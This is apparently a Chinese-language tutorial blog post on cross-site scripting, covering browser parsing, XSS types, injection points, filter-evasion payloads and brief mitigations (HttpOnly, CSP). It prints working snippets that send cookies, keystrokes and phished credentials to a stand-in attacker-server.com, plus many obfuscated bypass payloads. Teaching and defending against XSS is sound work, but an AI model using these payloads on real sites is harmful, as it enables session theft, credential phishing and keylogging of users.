XSS浅析深出
漏洞分析

浏览器解析前端代码
浏览器的作用:接收用户输入 ==> 发起网络请求 ==> 处理响应内容 ==> 展示处理结果,在整个生命周期内循环地完成这四件事。
浏览器本身是操作系统中的一个类似于python解释器、Java虚拟机的应用程序,可以用来解释代码,并且配合操作系统将代码编译成二进制,最终转换为高低电平输入给各个硬件,最终完成程序的执行,最终的结果就是用户在浏览器中看到的所有内容,其中包括浏览器本身以及访问网页后才能看到的界面,浏览器本体我们不做过多研究,这里只讨论网页内容。
前端代码大致分为:HTML/CSS/JavaScript
渲染引擎
- 解析:解析HTML,生成DOM树 ==> 解析CSS,生成CSSOM树
- 合成:DOM + CSSOM ==> RenderTree(渲染树)
- 布局:计算树节点在整个页面中的精确位置
- 绘制:在每个位置上绘制对应的像素点,最终构成一个完整的界面

JS引擎
- 浏览器中内置了JS引擎(例如,chrome的V8),所以可以执行js代码
- 现代JS引擎执行js的方式一般为解释+编译:以v8为例,
Ignition引擎将js代码编译为内部指令,然后逐行执行,同时具备JIT机制,TurboFan编译器会将热点代码编译成本地机器码缓存起来,后续调用 - js执行一般是单线程的形式,配合事件循环机制,实现异步操作

浏览器执行恶意代码
原则上来说,浏览器收到什么样的代码,就执行什么样的功能(当然,浏览器会有一些安全机制,在一定程度上限制某些功能)。个人认为XSS的核心不在于标签本身,而是JS代码,只不过恰好某些标签可以直接或者间接地附带js代码并且执行(虽然可以利用a标签跳转到一个黄页,但并不算是xss的灵魂),例如<a>标签中的href属性,利用javascript:伪协议可以执行js代码;<script>标签中的内容本来就是js代码。
窃取cookie信息
1
2
3
4<script>
// 将用户的Cookie发送到攻击者控制的服务器
fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
</script>会话劫持:用户准备向他的账户充值时,利用js将认证信息替换成攻击者的身份,从而导致用户给攻击者的账号进行了充值
1
2
3
4<script>
// 使用窃取的Cookie模拟用户登录状态,实际中需要配合后端验证
localStorage.setItem('authToken', 'stolen_token_value');
</script>钓鱼:伪造登陆框(也可以控制浏览器跳转到钓鱼网站,攻击者利用前端克隆插件将真实网站的登录页面放到服务器上,诱导用户输入账号密码)
1
2
3
4
5
6
7
8
9
10
11
12
13<script>
// 覆盖原有页面内容,显示虚假登录表单
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
<h2>重新登录</h2>
<form action="https://attacker-server.com/phish" method="POST">
<input type="text" name="username" placeholder="用户名" required><br>
<input type="password" name="password" placeholder="密码" required><br>
<button type="submit">登录</button>
</form>
</div>
`;
</script>键盘钩子
1
2
3
4
5
6
7
8
9
10
11
12<script>
// 记录用户的键盘输入(简化版)
let log = "";
document.addEventListener('keydown', function(event) {
log += event.key;
// 定期发送记录的数据
if(log.length > 50) {
fetch('https://attacker-server.com/log?keys=' + encodeURIComponent(log));
log = "";
}
});
</script>重定向到恶意网站
1
2
3
4<script>
// 将用户重定向到恶意网站
window.location.href = "https://malicious-site.com";
</script>篡改网页内容
发起CSRF(导致Set-Cookie: domain=*.qq.com这种安全机制失效)
寻找利用
在哪输入
攻击者怎么把这些js代码插入到正常的网页上,核心就是利用输入的内容会出现在前端代码中的一些位置这个功能,这个输入可以使用户手动输入的,也可以是发送请求时浏览器自动附加的一些参数。总之,就是在请求包和响应包中找相同的单词/词语。
- 存储型XSS | 网站提供了一个功能:
用户A输入 ==> 保存到后端服务器 ==> 返回给用户B,攻击者便可以将恶意JS代码间接地给到用户B,让浏览器执行恶意功能。- 评论区:在评论中插入恶意脚本
- 用户资料:在个人简介、签名档中插入
- 论坛帖子:在帖子中嵌入恶意代码
- 留言板:在留言内容中注入
- 反射型XSS:
用户A输入 ==> 服务器处理但不保存 ==> 将输入放到响应中返回,攻击者将js代码放到get请求中的某个参数里,将链接发送给受害者(post请求的参数不方便发送给用户去触发,当然某些情况下可以将post请求强制改为get请求,后端服务器也接受)- 搜索框
- 错误页面
- 任何通过URL传递的参数
- DOM型XSS:
用户A输入 ==> 原来的js代码处理 ==> 浏览器执行,类似于反射型XSS,攻击者都需要将payload直接给到受害者(通常以社工钓鱼的方式传播),而不是像存储型那样,给到网站本身的服务器,有服务器将恶意js代码给到用户的浏览器。但是和反射型xss存在一点不同:反射型XSS是将payload给到服务器处理,而DOM型xss是由当前已经加载的正常JS代码处理。DOM-XSS需要进行JS代码审计,找到js代码中哪些DOM操作用到了用户输入。
输入什么
最终的输入经过上面这几种方式的处理,最终可能会出现在下面几个位置:
出现在标签内
正常输入
1
Hello World ==> <p>Hello World</p>
输入标签
1
2<script>alert(1);</script> ==> <p><script>alert(1);</script></p>
标签是可以嵌套的,浏览器会解析成p标签中嵌套了一个script标签,就会执行js代码
出现在属性中
正常输入
1
aaa ==> <div xxx="aaa"></div>
构造属性
1
fucnk" onclick="javascript:alert(1) ==> <div xxx="fuck" onclick="javascript:alert(1)"></div>
支持伪协议的属性
1
2
3
4
5
6
7
8
9href=
action=
formaction=
location=
src=
data=
poster=
background=
code=直接可支持js代码的属性
1
所有以on开头的事件处理属性
出现在JS代码的函数参数中
出现在JS代码的变量中
攻防对抗
普通文本
过滤名称
大小写:如将关键字写成SeLeCt、UnIoN,部分仅做简单匹配或仅小写匹配的规则会被绕过。
双写:对“替换为空”的规则,使用 selselectect、ununionion 等,过滤一次后仍能还原出关键字。
1
2
3<scri<script>pt>alert("hello world!")</scri</script>pt>
==>
<script>alert("hello world!")</script>注释
1
2
3<scr<!-- test -->ipt>alert(1)</scr<!-- test -->ipt>
==>
<script>alert(1)</script>字符拼接
1
2<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>编码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<!--HTML编码:https://config.net.cn/tools/HtmlEncode.html-->
<img src="x" onerror="alert("xss");">
<!--unicode编码-->
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<!--url编码-->
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<!--ASCII编码-->
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
<!--HEX编码-->
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
<!--八进制-->
<img src=x onerror=alert('\170\163\163')>
<!--Base64-->
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤空格
1
2
3<img/src="x"/onerror=alert("xss");>
<img%09onerror=alert(1) src=a> <!-- TAB -->
<img%0aonerror=alert(1) src=a> <!-- 换行 -->过滤单双引号
出现在属性中,且不考虑闭合的情况下,可以用反引号代替
1
<img src="x" onerror=alert(`xss`);>
整个语句进行编码
过滤尖括号/HTML实体编码
1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
过滤URL地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<!-- URL编码 -->
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
<!-- 十进制IP -->
<img src="x" onerror=document.location=`http://2130706433/`>
<!-- 八进制IP -->
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
<!-- 十六进制IP -->
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
<!-- 代替http(s):// -->
<img src="x" onerror=document.location=`//www.baidu.com`>
<!-- 句号代替点号 -->
<img src="x" onerror="document.location=`http://www。baidu。com`">
巧用功能点
利用markdown解析功能
1
2
3
4
5
6
7# 图片引入
 ==> <img alt="显示名称" src="图片地址">
) ==> <img alt="A" onload="alert(1)" src="javascript:alert(2)">
# 超链接
[链接名称](链接地址) ==> <a src="链接地址">链接名称</a>
[<script>alert(1)</script>](javascript:alert(2)) ==> <a src="javascript:alert(2)"><script>alert(1)</script></a>
减小危害
- Cookie保护:设置Cookie的
HttpOnly=true,禁止JavaScript读取Cookie。 - 内容安全策略(CSP):通过HTTP头限制脚本加载源(如
Content-Security-Policy: default-src 'self'),阻止外部恶意脚本执行。